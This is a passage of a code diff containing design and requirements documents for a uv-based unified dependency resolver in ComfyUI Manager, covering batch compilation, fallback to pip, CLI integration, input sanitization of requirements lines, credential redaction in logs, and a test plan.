||||
2. Write collected requirements and base constraints to temp files
|
||||
3. Execute `uv pip compile` with options:
|
||||
- `--output-file` (pinned requirements path within temp dir)
|
||||
- `--python` (current interpreter)
|
||||
- `--constraint` (base dependencies)
|
||||
- `--extra-index-url` (from `CollectedDeps.extra_index_urls`, logged via `_redact_url()`)
|
||||
4. Timeout: 300s — returns `LockfileResult(success=False)` on `TimeoutExpired`
|
||||
5. On `returncode != 0`: parse stderr for conflict details via `_parse_conflicts()`
|
||||
6. Post-success verification: confirm lockfile was actually created (handles edge case of `returncode==0` without output)
|
||||
7. Temp directory cleanup: `shutil.rmtree()` in `except` block; on success, caller (`resolve_and_install`'s `finally`) handles cleanup
|
||||
|
||||
### 3.3 Dependency Installation (`install_from_lockfile`)
|
||||
|
||||
**Behavior:**
|
||||
1. Execute `uv pip install --requirement <lockfile_path> --python <sys.executable>`
|
||||
- **NOT `uv pip sync`** — sync deletes packages not in lockfile (dangerous for torch, ComfyUI deps)
|
||||
2. `uv pip install -r` is **atomic** (all-or-nothing): no partial failure
|
||||
3. Timeout: 600s — returns `InstallResult(success=False)` on `TimeoutExpired`
|
||||
4. On success: parse stdout via `_parse_install_output()` to populate `installed`/`skipped` lists
|
||||
5. On failure: `stderr` captures the failure cause; `installed=[]` (atomic model)
|
||||
|
||||
### 3.4 uv Command Resolution
|
||||
|
||||
**`_get_uv_cmd()` resolution order** (mirrors existing `get_pip_cmd()` pattern):
|
||||
1. **Module uv**: `[sys.executable, '-m', 'uv']` (with `-s` flag for embedded Python — note: `python_embeded` spelling is intentional, matching ComfyUI Windows distribution path)
|
||||
2. **Standalone uv**: `['uv']` via `shutil.which('uv')`
|
||||
3. **Not found**: raises `UvNotAvailableError` → caught by caller for pip fallback
|
||||
|
||||
### 3.5 Stale Temp File Cleanup
|
||||
|
||||
**`cleanup_stale_tmp(max_age_seconds=3600)`** — classmethod, called at start of `resolve_and_install()`:
|
||||
- Scans `tempfile.gettempdir()` for directories with prefix `comfyui_resolver_`
|
||||
- Deletes directories older than `max_age_seconds` (default: 1 hour)
|
||||
- Silently ignores `OSError` (permission issues, etc.)
|
||||
|
||||
### 3.6 Credential Redaction
|
||||
|
||||
```python
|
||||
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
|
||||
|
||||
def _redact_url(self, url: str) -> str:
|
||||
"""Mask authentication info in URLs. user:pass@host → ****@host"""
|
||||
return self._CREDENTIAL_PATTERN.sub('://****@', url)
|
||||
```
|
||||
|
||||
All `--extra-index-url` logging passes through `_redact_url()`:
|
||||
```python
|
||||
# Logging example within compile_lockfile()
|
||||
for url in deps.extra_index_urls:
|
||||
logging.info(f"[UnifiedDepResolver] extra-index-url: {self._redact_url(url)}")
|
||||
cmd += ["--extra-index-url", url] # Original URL passed to actual command
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Existing Code Integration
|
||||
|
||||
### 4.1 manager_core.py Modification Points
|
||||
|
||||
**2 `execute_install_script()` locations — both skip deps in unified mode:**
|
||||
|
||||
#### 4.1.1 UnifiedManager.execute_install_script() (Class Method)
|
||||
|
||||
#### 4.1.2 Standalone Function execute_install_script()
|
||||
|
||||
**Both locations use the same pattern when unified mode is active:**
|
||||
|
||||
1. `lazy_mode=True` → schedule and return early (unchanged)
|
||||
2. If `not no_deps and manager_util.use_unified_resolver`:
|
||||
- **Skip** the `requirements.txt` pip install loop entirely (deps deferred to startup)
|
||||
- Log: `"[UnifiedDepResolver] deps deferred to startup batch resolution"`
|
||||
3. If `not manager_util.use_unified_resolver`: existing pip install loop runs (unchanged)
|
||||
4. `install.py` execution: **always runs immediately** regardless of resolver mode
|
||||
|
||||
> **Parameter ordering differs:**
|
||||
> - Method: `(self, url, repo_path, instant_execution, lazy_mode, no_deps)`
|
||||
> - Standalone: `(url, repo_path, lazy_mode, instant_execution, no_deps)`
|
||||
|
||||
### 4.1.3 Startup Batch Resolver (`prestartup_script.py`)
|
||||
|
||||
**New**: Runs unified resolver at **module scope** — unconditionally when enabled, independent of `install-scripts.txt` existence.
|
||||
|
||||
**Execution point**: After config reading and `cm_global` initialization, **before** the `execute_startup_script()` gate.
|
||||
|
||||
**Logic** (uses module-level helpers from `unified_dep_resolver.py`):
|
||||
1. `collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes'))` — enumerate all installed node pack directories
|
||||
2. `collect_base_requirements(comfy_path)` — read `requirements.txt` + `manager_requirements.txt` from ComfyUI root (base deps only)
|
||||
3. Create `UnifiedDepResolver` with **empty** blacklist/overrides/downgrade_blacklist (uv handles resolution natively; interface preserved for extensibility)
|
||||
4. Call `resolve_and_install()` → on success set `_unified_resolver_succeeded = True`
|
||||
5. On failure (including `UvNotAvailableError`): log warning, fall back to per-node pip
|
||||
|
||||
> `manager_requirements.txt` is read **only** from `comfy_path` (ComfyUI base), never from node packs.
|
||||
> Node packs' `requirements.txt` are collected by the resolver's `collect_requirements()` method.
|
||||
|
||||
### 4.1.5 `execute_lazy_install_script()` Modification
|
||||
|
||||
When unified resolver **succeeds**, `execute_lazy_install_script()` skips the per-node pip install loop
|
||||
(deps already batch-resolved at module scope). `install.py` still runs per node pack.
|
||||
|
||||
```python
|
||||
# In execute_lazy_install_script():
|
||||
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
|
||||
# Per-node pip install: only runs if unified resolver is disabled or failed
|
||||
...
|
||||
# install.py always runs regardless
|
||||
```
|
||||
|
||||
> **Note**: Gated on `_unified_resolver_succeeded` (success flag), NOT `use_unified_resolver` (enable flag).
|
||||
> If the resolver is enabled but fails, `_unified_resolver_succeeded` remains False → per-node pip runs as fallback.
|
||||
|
||||
### 4.1.6 CLI Integration
|
||||
|
||||
Multiple entry points expose the unified resolver in `cm_cli`:
|
||||
|
||||
#### 4.1.6.1 Standalone Command: `cm_cli uv-compile`
|
||||
|
||||
On-demand batch resolution — independent of ComfyUI startup.
|
||||
|
||||
```bash
|
||||
cm_cli uv-compile [--user-directory DIR]
|
||||
```
|
||||
|
||||
Resolves all installed node packs' dependencies at once. Useful for environment
|
||||
recovery or initial setup without starting ComfyUI.
|
||||
`PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure).
|
||||
|
||||
#### 4.1.6.2 Install Flag: `cm_cli install --uv-compile`
|
||||
|
||||
```bash
|
||||
cm_cli install <node1> [node2 ...] --uv-compile [--mode remote]
|
||||
```
|
||||
|
||||
When `--uv-compile` is set:
|
||||
1. `no_deps` is forced to `True` → per-node pip install is skipped during each node installation
|
||||
2. After **all** nodes are installed, runs unified batch resolution over **all installed node packs**
|
||||
(not just the newly installed ones — `uv pip compile` needs the complete dependency graph)
|
||||
3. `PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure)
|
||||
|
||||
This differs from per-node pip install: instead of resolving each node pack's
|
||||
`requirements.txt` independently, all deps are compiled together to avoid conflicts.
|
||||
|
||||
#### 4.1.6.3 Additional `--uv-compile` Commands
|
||||
|
||||
The following commands follow the same `no_deps` + batch-resolve pattern as `install --uv-compile`:
|
||||
`cmd_ctx.set_no_deps(True)` is set before node operations, then `_run_unified_resolve()`
|
||||
runs at the end via `try/finally` with `PIPFixer.fix_broken()`.
|
||||
|
||||
| Command | Operation |
|
||||
|---------|-----------|
|
||||
| `cm_cli reinstall --uv-compile` | Reinstall nodes then batch-resolve |
|
||||
| `cm_cli update --uv-compile` | Update nodes then batch-resolve |
|
||||
| `cm_cli fix --uv-compile` | Fix node dependencies then batch-resolve |
|
||||
| `cm_cli restore-snapshot --uv-compile` | Restore snapshot then batch-resolve |
|
||||
| `cm_cli restore-dependencies --uv-compile` | Restore all node deps then batch-resolve |
|
||||
| `cm_cli install-deps <deps.json> --uv-compile` | Install from deps spec file then batch-resolve |
|
||||
|
||||
> **`reinstall` only**: Has `--uv-compile` / `--no-deps` mutual exclusion check.
|
||||
> Both skip per-node pip, but `--no-deps` skips permanently while `--uv-compile` also
|
||||
> triggers batch resolution after all nodes are processed.
|
||||
>
|
||||
> **`restore-snapshot` only**: Has an additional pre-resolution exception guard — if the
|
||||
> snapshot restore itself fails (before `_run_unified_resolve()` is reached),
|
||||
> `PIPFixer.fix_broken()` runs in the exception handler before exit. The `try/finally`
|
||||
> applies to the `_run_unified_resolve()` call. See dec_7 for rationale.
|
||||
|
||||
#### Shared Design Decisions
|
||||
|
||||
- **Uses real `cm_global` values**: Unlike the startup path (4.1.3) which passes empty
|
||||
blacklist/overrides, CLI commands pass `cm_global.pip_blacklist`,
|
||||
`cm_global.pip_overrides`, and `cm_global.pip_downgrade_blacklist` — already
|
||||
initialized at `cm_cli/__main__.py` module scope.
|
||||
- **No `_unified_resolver_succeeded` flag**: Not needed — these are one-shot commands,
|
||||
not startup gates.
|
||||
- **Shared helper**: All entry points delegate to `_run_unified_resolve()` which
|
||||
handles resolver instantiation, execution, and result reporting.
|
||||
- **Error handling**: `UvNotAvailableError` / `ImportError` → exit 1 with message.
|
||||
All entry points guarantee `PIPFixer.fix_broken()` runs regardless of outcome —
|
||||
via `try/finally` around `_run_unified_resolve()`. `restore-snapshot` additionally
|
||||
calls `fix_broken()` in the snapshot restore exception handler (before
|
||||
`_run_unified_resolve()` is reached), per dec_7.
|
||||
- **Conflict attribution output**: When resolution fails and `result.lockfile.conflicts`
|
||||
is non-empty, `_run_unified_resolve()` cross-references conflict package names with
|
||||
`CollectedDeps.sources` to identify which node packs requested each conflicting package:
|
||||
- Normalization: both sources keys and conflict text apply `.lower().replace("-", "_")`
|
||||
- Word-boundary regex `(?<![a-z0-9_])pkg(?![a-z0-9_])` prevents false-positive prefix
|
||||
matches (e.g., `torch` does NOT match `torch_audio` or `torchvision`)
|
||||
- Output format: sorted by package name, each entry lists `pack_basename → pkg_spec`
|
||||
per requester (using `CollectedDeps.sources` tuple values `(pack_path, pkg_spec)`)
|
||||
|
||||
**Node pack discovery**: Uses `cmd_ctx.get_custom_nodes_paths()` → `collect_node_pack_paths()`,
|
||||
which is the CLI-native path resolution (respects `--user-directory` and `folder_paths`).
|
||||
|
||||
### 4.2 Configuration Addition (config.ini)
|
||||
|
||||
```ini
|
||||
[default]
|
||||
# Existing settings...
|
||||
use_unified_resolver = false # Enable unified dependency resolution
|
||||
```
|
||||
|
||||
### 4.3 Configuration Reading
|
||||
|
||||
Follows the existing `read_uv_mode()` / `use_uv` pattern:
|
||||
- `prestartup_script.py`: `read_unified_resolver_mode()` reads from `default_conf` → sets `manager_util.use_unified_resolver`
|
||||
- `manager_core.py`: `read_config()` / `write_config()` / `get_config()` include `use_unified_resolver` key
|
||||
- `read_config()` exception fallback must include `use_unified_resolver` key to prevent `KeyError` in `write_config()`
|
||||
|
||||
### 4.4 manager_util.py Extension
|
||||
|
||||
```python
|
||||
# manager_util.py
|
||||
use_unified_resolver = False # New global flag (separate from use_uv)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Error Handling Strategy
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
STARTUP["prestartup_script.py startup"]
|
||||
STARTUP --> CHK{use_unified_resolver?}
|
||||
CHK -->|No| SKIP_UDR["Skip → execute_lazy_install_script per-node pip"]
|
||||
|
||||
CHK -->|Yes| RAI["run_unified_resolver()"]
|
||||
RAI --> STALE["cleanup_stale_tmp()<br/>Clean stale temp dirs (>1 hour old)"]
|
||||
STALE --> UV_CHK{uv installed?}
|
||||
UV_CHK -->|No| UV_ERR["UvNotAvailableError<br/>→ Fallback: execute_lazy_install_script per-node pip"]
|
||||
|
||||
UV_CHK -->|Yes| CR["collect_requirements()<br/>(ALL installed node packs)"]
|
||||
CR --> CR_DIS[".disabled/ path → auto-skip"]
|
||||
CR --> CR_PARSE["Parse failure → skip node pack, continue"]
|
||||
CR --> CR_ENC["Encoding detection failure → assume UTF-8"]
|
||||
CR --> CR_DANGER["Dangerous pattern detected → reject line + log"]
|
||||
CR --> CR_DG["Downgrade blacklist → skip after version comparison"]
|
||||
|
||||
CR --> CL["compile_lockfile()"]
|
||||
CL --> CL_CONFLICT["Conflict → report + per-node pip fallback"]
|
||||
CL --> CL_TIMEOUT["TimeoutExpired 300s → per-node pip fallback"]
|
||||
CL --> CL_NOFILE["Lockfile not created → failure + fallback"]
|
||||
CL --> CL_TMP["Temp directory → finally block cleanup"]
|
||||
|
||||
CL -->|Success| IL["install_from_lockfile()"]
|
||||
IL --> IL_OK["Total success → parse installed/skipped"]
|
||||
IL --> IL_FAIL["Total failure → stderr + per-node pip fallback (atomic)"]
|
||||
IL --> IL_TIMEOUT["TimeoutExpired 600s → fallback"]
|
||||
|
||||
IL_OK --> PF["PIPFixer.fix_broken()<br/>Restore torch/opencv/frontend"]
|
||||
PF --> LAZY["execute_lazy_install_script()<br/>(install.py only, deps skipped)"]
|
||||
```
|
||||
|
||||
> **Fallback model**: On resolver failure at startup, `execute_lazy_install_script()` runs normally
|
||||
> (per-node pip install), providing the same behavior as if unified mode were disabled.
|
||||
|
||||
---
|
||||
|
||||
## 6. File Structure
|
||||
|
||||
### 6.1 New Files
|
||||
|
||||
```
|
||||
comfyui_manager/common/unified_dep_resolver.py # Main module (~350 lines, includes sanitization/downgrade logic)
|
||||
tests/test_unified_dep_resolver.py # Unit tests
|
||||
```
|
||||
|
||||
### 6.2 Modified Files
|
||||
|
||||
```
|
||||
comfyui_manager/glob/manager_core.py # Skip per-node pip in unified mode (2 execute_install_script locations)
|
||||
comfyui_manager/common/manager_util.py # Add use_unified_resolver flag
|
||||
comfyui_manager/prestartup_script.py # Config reading + startup batch resolver + execute_lazy_install_script modification
|
||||
```
|
||||
|
||||
> **Not modified**: `comfyui_manager/legacy/manager_core.py` (legacy paths retain existing pip behavior)
|
||||
|
||||
---
|
||||
|
||||
## 7. Dependencies
|
||||
|
||||
| Dependency | Purpose | Notes |
|
||||
|-----------|---------|-------|
|
||||
| `uv` | Dependency resolution and installation | Already included in project dependencies |
|
||||
| `cm_global` | pip_overrides, pip_blacklist, pip_downgrade_blacklist | Reuse existing global state (runtime dynamic assignment) |
|
||||
| `manager_util` | StrictVersion, get_installed_packages, use_unified_resolver flag | Reuse existing utilities |
|
||||
| `tempfile` | Temporary requirements files, mkdtemp | Standard library |
|
||||
| `subprocess` | uv process execution | Standard library |
|
||||
| `dataclasses` | Result data structures | Standard library |
|
||||
| `re` | Input sanitization, version spec parsing, credential redaction | Standard library |
|
||||
| `shutil` | uv lookup (`which`), temp directory cleanup | Standard library |
|
||||
| `time` | Stale temp file age calculation | Standard library |
|
||||
| `logging` | Per-step logging | Standard library |
|
||||
|
||||
No additional external dependencies.
|
||||
|
||||
---
|
||||
|
||||
## 8. Sequence Diagram
|
||||
|
||||
### Install Time + Startup Batch Resolution
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
actor User
|
||||
participant MC as manager_core
|
||||
participant PS as prestartup_script
|
||||
participant UDR as UnifiedDepResolver
|
||||
participant UV as uv (CLI)
|
||||
|
||||
Note over User,MC: Install Time (immediate)
|
||||
User->>MC: Install node pack X
|
||||
MC->>MC: Git clone / download X
|
||||
MC->>MC: Skip per-node pip (unified mode)
|
||||
MC->>MC: Run X's install.py
|
||||
MC-->>User: Node pack installed (deps pending)
|
||||
|
||||
Note over User,UV: ComfyUI Restart
|
||||
User->>PS: Start ComfyUI
|
||||
PS->>PS: Check use_unified_resolver
|
||||
PS->>UDR: Create resolver (module scope)
|
||||
UDR->>UDR: collect_requirements()<br/>(ALL installed node packs)
|
||||
UDR->>UV: uv pip compile --output-file
|
||||
UV-->>UDR: pinned reqs.txt
|
||||
UDR->>UV: uv pip install -r
|
||||
UV-->>UDR: Install result
|
||||
UDR-->>PS: ResolveResult(success=True)
|
||||
PS->>PS: PIPFixer.fix_broken()
|
||||
PS->>PS: execute_lazy_install_script()<br/>(install.py only, deps skipped)
|
||||
PS-->>User: ComfyUI ready
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. Test Strategy
|
||||
|
||||
### 9.1 Unit Tests
|
||||
|
||||
| Test Target | Cases |
|
||||
|------------|-------|
|
||||
| `collect_requirements` | Normal parsing, empty file, blacklist filtering, comment handling, remap application |
|
||||
| `.disabled` filtering | Exclude node packs within `.disabled/` directory path (directory-based mechanism) |
|
||||
| Input sanitization | Reject lines with `-r`, `-e`, `--find-links`, `@ file://`, path separators |
|
||||
| `--index-url` / `--extra-index-url` separation | `package --index-url URL`, standalone `--index-url URL`, standalone `--extra-index-url URL`, `package --extra-index-url URL` → package spec + extra_index_urls separation |
|
||||
| Downgrade blacklist | Installed + lower version request → skip, not installed → pass, same/higher version → pass |
|
||||
| `compile_lockfile` | Normal compilation, conflict detection, TimeoutExpired, constraint application, --output-file verification |
|
||||
| Lockfile existence verification | Failure handling when file not created despite returncode==0 |
|
||||
| `extra_index_urls` passthrough | Verify `--extra-index-url` argument included in compile command |
|
||||
| `install_from_lockfile` | Normal install, total failure, TimeoutExpired |
|
||||
| Atomic model | On failure: installed=[], stderr populated |
|
||||
| `_get_uv_cmd` | Module uv, standalone uv, embedded python (`python_embeded`), not installed |
|
||||
| `_remap_package` | pip_overrides remapping, unregistered packages |
|
||||
| Blacklist | torch family, torchsde, custom blacklist |
|
||||
| Duplicate handling | Same package with multiple specs → all passed to uv |
|
||||
| Multiple paths | Collection from multiple custom_nodes paths |
|
||||
| `cm_global` defense | Default values used when `pip_blacklist` etc. not assigned |
|
||||
| Concurrency | Two resolver instances each use unique temp directories |
|
||||
| Credential redaction | `user:pass@host` URL masked in log output |
|
||||
| `_redact_url` | `://user:pass@host` → `://****@host` conversion, no-credential URL passthrough |
|
||||
| `cleanup_stale_tmp` | Delete stale dirs >1 hour, preserve recent dirs, ignore permission errors |
|
||||
| Downgrade operators | `<=`, `==`, `<`, `~=` blocked; `>=`, `>`, `!=` pass; no spec + installed → blocked |
|
||||
| `StrictVersion` comparison | Verify `manager_util.StrictVersion` is used (not `packaging.version`) |
|
||||
|
||||
### 9.2 Integration Tests
|
||||
|
||||
- End-to-end test in real uv environment
|
||||
- Existing pip fallback path test
|
||||
- config.ini setting toggle test
|
||||
- Environment integrity verification after PIPFixer call
|
||||
- lazy_mode scheduling behavior verification (Windows simulation)
|
||||
- `use_uv=False` + `use_unified_resolver=True` combination test
|
||||
- Large-scale dependency (50+ node packs) performance test
|
||||
|
||||
---
|
||||
|
||||
## 10. Implementation Order
|
||||
|
||||
1. **Phase 1**: Data classes and `collect_requirements` implementation + tests
|
||||
- PackageRequirement, CollectedDeps (including extra_index_urls) and other data classes
|
||||
- Blacklist/override filtering
|
||||
- **Downgrade blacklist** (version comparison logic included)
|
||||
- **Input sanitization** (-r, -e, @ file:// etc. rejection)
|
||||
- **`--index-url` / `--extra-index-url` separation handling** (package spec + extra_index_urls)
|
||||
- **`.disabled` node pack filtering**
|
||||
- Defensive cm_global access (getattr pattern)
|
||||
2. **Phase 2**: `compile_lockfile` implementation + tests
|
||||
- uv pip compile invocation
|
||||
- --output-file, --constraint, --python options
|
||||
- Conflict parsing logic
|
||||
3. **Phase 3**: `install_from_lockfile` implementation + tests
|
||||
- uv pip install -r invocation (NOT sync)
|
||||
- Install result parsing
|
||||
4. **Phase 4**: Integration — startup batch + install-time skip
|
||||
- `prestartup_script.py`: Module-scope startup batch resolver + `execute_lazy_install_script()` deps skip
|
||||
- `manager_core.py`: Skip per-node pip in 2 `execute_install_script()` locations
|
||||
- `manager_util.py`: `use_unified_resolver` flag
|
||||
- Config reading (`read_unified_resolver_mode()`, `read_config()`/`write_config()`)
|
||||
5. **Phase 5**: Integration tests + fallback verification + startup batch tests
|
||||
|
||||
---
|
||||
|
||||
## Appendix A: Existing Code Reference
|
||||
|
||||
> **Note**: Line numbers may shift as code changes, so references use symbol names (function/class names).
|
||||
> Use `grep -n` or IDE symbol search for exact locations.
|
||||
|
||||
### remap_pip_package Location (Code Duplication Exists)
|
||||
|
||||
```
|
||||
comfyui_manager/glob/manager_core.py — def remap_pip_package(pkg)
|
||||
comfyui_manager/prestartup_script.py — def remap_pip_package(pkg)
|
||||
```
|
||||
|
||||
Both reference `cm_global.pip_overrides` with identical logic.
|
||||
The unified resolver uses `cm_global.pip_overrides` directly to avoid adding more duplication.
|
||||
|
||||
### cm_global Global State
|
||||
|
||||
```python
|
||||
# Dynamically assigned in prestartup_script.py (NOT defined in cm_global.py!)
|
||||
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'} # set
|
||||
cm_global.pip_overrides = {} # dict, loaded from JSON
|
||||
cm_global.pip_downgrade_blacklist = [ # list
|
||||
'torch', 'torchaudio', 'torchsde', 'torchvision',
|
||||
'transformers', 'safetensors', 'kornia'
|
||||
]
|
||||
```
|
||||
|
||||
> **cm_cli path**: `cm_cli/__main__.py` also independently initializes these attributes.
|
||||
> If the resolver may be called from the CLI path, this initialization should also be verified.
|
||||
|
||||
### PIPFixer Call Pattern
|
||||
|
||||
```python
|
||||
# Within UnifiedManager.execute_install_script() method in manager_core.py:
|
||||
pip_fixer = manager_util.PIPFixer(
|
||||
manager_util.get_installed_packages(),
|
||||
context.comfy_path,
|
||||
context.manager_files_path
|
||||
)
|
||||
# ... (after installation)
|
||||
pip_fixer.fix_broken()
|
||||
```
|
||||
|
||||
The unified resolver does not call PIPFixer directly.
|
||||
The caller (execute_install_script) calls PIPFixer as part of the existing flow.
|
||||
|
||||
### is_blacklisted() Logic (Must Be Reproduced in Unified Resolver)
|
||||
|
||||
```python
|
||||
# manager_core.py — def is_blacklisted(name)
|
||||
# 1. Simple pip_blacklist membership check
|
||||
# 2. pip_downgrade_blacklist version comparison:
|
||||
# - Parse spec with regex r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
|
||||
# - match is None (no version spec) + installed → block
|
||||
# - Operator in ['<=', '==', '<', '~='] + installed version >= requested version → block
|
||||
# - Version comparison uses manager_util.StrictVersion (NOT packaging.version)
|
||||
```
|
||||
|
||||
The unified resolver's `_is_downgrade_blacklisted()` method faithfully reproduces this logic.
|
||||
It uses `manager_util.StrictVersion` instead of `packaging.version.parse()` to ensure consistency with existing behavior.
|
||||
|
||||
### Existing Code --index-url Handling (Asymmetric)
|
||||
|
||||
```python
|
||||
# Only exists in standalone function execute_install_script():
|
||||
if '--index-url' in package_name:
|
||||
s = package_name.split('--index-url')
|
||||
install_cmd = manager_util.make_pip_cmd(["install", s[0].strip(), '--index-url', s[1].strip()])
|
||||
|
||||
# UnifiedManager.execute_install_script() method does NOT have this handling
|
||||
```
|
||||
|
||||
The unified resolver unifies both paths for consistent handling via `_split_index_url()`.
|
||||
@@ -0,0 +1,363 @@
|
||||
# PRD: Unified Dependency Resolver
|
||||
|
||||
## 1. Overview
|
||||
|
||||
### 1.1 Background
|
||||
ComfyUI Manager currently installs each node pack's `requirements.txt` individually via `pip install`.
|
||||
This approach causes dependency conflicts where installing a new node pack can break previously installed node packs' dependencies.
|
||||
|
||||
**Current flow:**
|
||||
```mermaid
|
||||
graph LR
|
||||
A1[Install node pack A] --> A2[pip install A's deps] --> A3[Run install.py]
|
||||
B1[Install node pack B] --> B2[pip install B's deps] --> B3[Run install.py]
|
||||
B2 -.->|May break<br/>A's deps| A2
|
||||
```
|
||||
|
||||
### 1.2 Goal
|
||||
Implement a unified dependency installation module that uses `uv` to resolve all dependencies (installed node packs + new node packs) at once.
|
||||
|
||||
**New flow (unified resolver mode):**
|
||||
```mermaid
|
||||
graph TD
|
||||
subgraph "Install Time (immediate)"
|
||||
A1[User installs node pack X] --> A2[Git clone / download]
|
||||
A2 --> A3["Run X's install.py (if exists)"]
|
||||
A3 --> A4["Skip per-node pip install<br/>(deps deferred to restart)"]
|
||||
end
|
||||
|
||||
subgraph "ComfyUI Restart (startup batch)"
|
||||
B1[prestartup_script.py] --> B2[Collect ALL installed node packs' deps]
|
||||
B2 --> B3["uv pip compile → pinned requirements.txt"]
|
||||
B3 --> B4["uv pip install -r → Batch install"]
|
||||
B4 --> B5[PIPFixer environment correction]
|
||||
end
|
||||
```
|
||||
|
||||
> **Terminology**: In this document, "lockfile" refers to the **pinned requirements.txt** generated by `uv pip compile`.
|
||||
> This is different from the `uv.lock` (TOML format) generated by `uv lock`. We use a pip-compatible workflow.
|
||||
|
||||
### 1.3 Scope
|
||||
- Develop a new dedicated dependency resolution module
|
||||
- Opt-in activation from the existing install process
|
||||
- **Handles dependency resolution (deps install) only**. `install.py` execution is handled by existing logic
|
||||
|
||||
---
|
||||
|
||||
## 2. Constraints
|
||||
|
||||
| Item | Description |
|
||||
|------|-------------|
|
||||
| **uv required** | Only operates in environments where `uv` is available |
|
||||
| **Independent of `use_uv` flag** | `use_unified_resolver` is separate from the existing `use_uv` flag. Even if `use_uv=False`, setting `use_unified_resolver=True` attempts resolver activation. Auto-fallback if uv is not installed |
|
||||
| **Pre-validated list** | Input node pack list is assumed to be pre-verified for mutual dependency compatibility |
|
||||
| **Backward compatibility** | Existing pip-based install process is fully preserved (fallback) |
|
||||
| **Blacklist/overrides bypassed** | In unified mode, `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are NOT applied (empty values passed). Constructor interface is preserved for future extensibility. `uv pip compile` handles all conflict resolution natively. **[DEFERRED]** Reading actual values from `cm_global` at startup is deferred to a future version — v1 always passes empty values |
|
||||
| **Multiple custom_nodes paths** | Supports all paths returned by `folder_paths.get_folder_paths('custom_nodes')` |
|
||||
| **Scope of application** | Batch resolver runs at **module scope** in `prestartup_script.py` (unconditionally when enabled, independent of `install-scripts.txt` existence). The 2 `execute_install_script()` locations skip per-node pip install when unified mode is active (deps deferred to restart). `execute_lazy_install_script()` is also modified to skip per-node pip install in unified mode. Other install paths such as `install_manager_requirements()`, `pip_install()` are outside v1 scope (future extension) |
|
||||
| **Legacy module** | `comfyui_manager/legacy/manager_core.py` is excluded from modification. Legacy paths retain existing pip behavior |
|
||||
|
||||
---
|
||||
|
||||
## 3. Functional Requirements
|
||||
|
||||
### FR-1: Node Pack List and Base Dependency Input
|
||||
|
||||
**Input:**
|
||||
- Node pack list (fullpath list of installed + to-be-installed node packs)
|
||||
- Base dependencies (ComfyUI's `requirements.txt` and `manager_requirements.txt`)
|
||||
|
||||
**Behavior:**
|
||||
- Validate each node pack path
|
||||
- Exclude disabled (`.disabled`) node packs
|
||||
- Detection criteria: Existence of `custom_nodes/.disabled/{node_pack_name}` **directory**
|
||||
- Existing mechanism: Disabling a node pack **moves** it from `custom_nodes/` to `custom_nodes/.disabled/` (does NOT create a `.disabled` file inside the node pack)
|
||||
- At resolver input time, disabled node packs should already be absent from `custom_nodes/`, so normally they won't be in `node_pack_paths`
|
||||
- Defensively exclude any node pack paths that are within the `.disabled` directory
|
||||
- Base dependencies are treated as constraints
|
||||
- Traverse all paths from `folder_paths.get_folder_paths('custom_nodes')`
|
||||
|
||||
**`cm_global` runtime dependencies:**
|
||||
- `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are dynamically assigned during `prestartup_script.py` execution
|
||||
- In unified mode, these are **not applied** — empty values are passed to the resolver constructor
|
||||
- The constructor interface accepts these parameters for future extensibility (defaults to empty when `None`)
|
||||
|
||||
### FR-2: Dependency List Extraction
|
||||
|
||||
**Behavior:**
|
||||
- Parse `requirements.txt` from each node pack directory
|
||||
- Encoding: Use `robust_readlines()` pattern (`chardet` detection, assumes UTF-8 if not installed)
|
||||
- Package name remapping (constructor accepts `overrides` dict — **empty in v1**, interface preserved for extensibility)
|
||||
- Blacklist package filtering (constructor accepts `blacklist` set — **empty in v1**, uv handles torch etc. natively)
|
||||
- Downgrade blacklist filtering (constructor accepts `downgrade_blacklist` list — **empty in v1**)
|
||||
- **Note**: In unified mode, `uv pip compile` resolves all version conflicts natively. The blacklist/overrides/downgrade_blacklist mechanisms from the existing pip flow are bypassed
|
||||
- Strip comments (`#`) and blank lines
|
||||
- **Input sanitization** (see below)
|
||||
- Separate handling of `--index-url` entries (see below)
|
||||
|
||||
**Input sanitization:**
|
||||
- Requirements lines matching the following patterns are **rejected and logged** (security defense):
|
||||
- `-r`, `--requirement` (recursive include → path traversal risk)
|
||||
- `-e`, `--editable` (VCS/local path install → arbitrary code execution risk)
|
||||
- `-c`, `--constraint` (external constraint file injection)
|
||||
- `--find-links`, `-f` (external package source specification)
|
||||
- `@ file://` (local file reference → path traversal risk)
|
||||
- Package names containing path separators (`/`, `\`)
|
||||
- Allowed items: Package specs (`name>=version`), specs with `--index-url`, environment markers (containing `;`)
|
||||
- Rejected lines are recorded in the `skipped` list with reason
|
||||
|
||||
**`--index-url` handling:**
|
||||
- Existing code (standalone function `execute_install_script()`) parses `package_name --index-url URL` format for special handling
|
||||
- **Note**: The class method `UnifiedManager.execute_install_script()` does NOT have this handling (asymmetric)
|
||||
- The unified resolver **unifies both paths** for consistent handling:
|
||||
- Package spec → added to the general dependency list
|
||||
- `--extra-index-url URL` → passed as `uv pip compile` argument
|
||||
- Separated index URLs are collected in `CollectedDeps.extra_index_urls`
|
||||
- **Credential redaction**: Authentication info (`user:pass@`) in index URLs is masked during logging
|
||||
|
||||
**Duplicate handling strategy:**
|
||||
- No deduplication is performed directly
|
||||
- Different version specs of the same package are **all passed as-is** to uv
|
||||
- `uv pip compile` handles version resolution (uv determines the optimal version)
|
||||
|
||||
**Output:**
|
||||
- Unified dependency list (tracked by source node pack)
|
||||
- Additional index URL list
|
||||
|
||||
### FR-3: uv pip compile Execution
|
||||
|
||||
**Behavior:**
|
||||
- Generate temporary requirements file from the collected dependency list
|
||||
- Execute `uv pip compile` to produce a pinned requirements.txt
|
||||
- `--output-file` (required): Specify output file (outputs to stdout only if not specified)
|
||||
- `--constraint`: Pass base dependencies as constraints
|
||||
- `--python`: Current Python interpreter path
|
||||
